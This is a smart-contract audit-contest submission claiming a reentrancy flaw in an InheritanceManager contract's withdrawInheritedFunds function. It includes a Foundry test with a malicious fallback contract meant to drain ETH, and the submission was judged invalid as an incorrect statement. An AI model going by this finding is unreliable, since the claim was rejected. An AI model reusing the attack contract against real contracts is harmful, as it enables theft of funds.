Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in withdrawInheritedFunds Function

Summary

The withdrawInheritedFunds function in the InheritanceManager contract lacks any reentrancy protection. Without a nonReentrant modifier, an attacker may exploit this oversight to repeatedly reenter the function via a malicious fallback and drain more funds than intended.

Vulnerability Details

The function calculates the per-beneficiary amount and loops over the beneficiary array to transfer ETH or ERC20 tokens. However, it does not include a reentrancy guard. In the ETH branch, the function uses low-level calls that allow external contracts to execute code on receiving funds. An attacker(one of beneficiary) might be a malicious contract with a fallback function that reenters withdrawInheritedFunds , thereby withdrawing more funds than allocated.

Impact

Direct Impact: An attacker could drain significant amounts of ETH (or tokens, if extended) from the contract, leading to a direct loss or misallocation of funds.

Tools Used

Manual review

Foundry (Forge) for unit testing

  • Custom MaliciousWithdraw contract deployed to simulate the reentrancy attack

  • Forge test confirming excessive fund withdrawals

Recommendations

Add the nonReentrant modifier (or a similar, e.g., OpenZeppelin’s ReentrancyGuard) to the withdrawInheritedFunds function to prevent reentrant calls.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract InheritanceManagerVulnerabilityTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
address owner = makeAddr("owner");
address beneficiary1 = makeAddr("beneficiary1");
address beneficiary2 = makeAddr("beneficiary2");
address attacker = makeAddr("attacker");
uint256 public constant INITIAL_SUPPLY = 1000e18;
uint256 public constant ASSET_VALUE = 100e18;
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
// Deploy mocks with an initial supply for testing
usdc = new ERC20Mock();
weth = new ERC20Mock();
usdc.mint(owner, INITIAL_SUPPLY);
weth.mint(owner, INITIAL_SUPPLY);
}
/// @notice Test the reentrancy vulnerability in withdrawInheritedFunds (ETH version).
function test_reentrancyWithdrawInheritedFunds() public {
// Arrange
// Set up two beneficiaries so that inheritance can be triggered.
vm.startPrank(owner);
im.addBeneficiery(beneficiary1);
im.addBeneficiery(beneficiary2);
vm.stopPrank();
// Fund the contract with ETH and warp time past the 90-day threshold.
vm.warp(3600);
vm.deal(address(im), ASSET_VALUE);
vm.warp(1 + 90 days);
// Trigger inheritance by having one beneficiary call inherit().
vm.prank(beneficiary1);
im.inherit();
// Deploy the malicious contract to exploit reentrancy.
MaliciousWithdraw maliciousContract = new MaliciousWithdraw(
address(im)
);
// Act
// The attack() call triggers withdrawInheritedFunds, and the fallback reenters.
vm.prank(address(maliciousContract));
maliciousContract.attack();
// Assert
// If reentrancy is exploitable, more funds than expected might be withdrawn.
uint256 remainingBalance = address(im).balance;
assert(remainingBalance < ASSET_VALUE / 2);
}
}
contract MaliciousWithdraw {
InheritanceManager public victim;
bool public attackCalled;
constructor(address _victim) {
victim = InheritanceManager(_victim);
}
// Fallback function is triggered when ETH is received.
fallback() external payable {
if (!attackCalled) {
attackCalled = true;
// Reenter the vulnerable withdrawInheritedFunds function.
victim.withdrawInheritedFunds(address(0));
}
}
// Initiates the attack by calling the vulnerable function.
function attack() external {
victim.withdrawInheritedFunds(address(0));
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.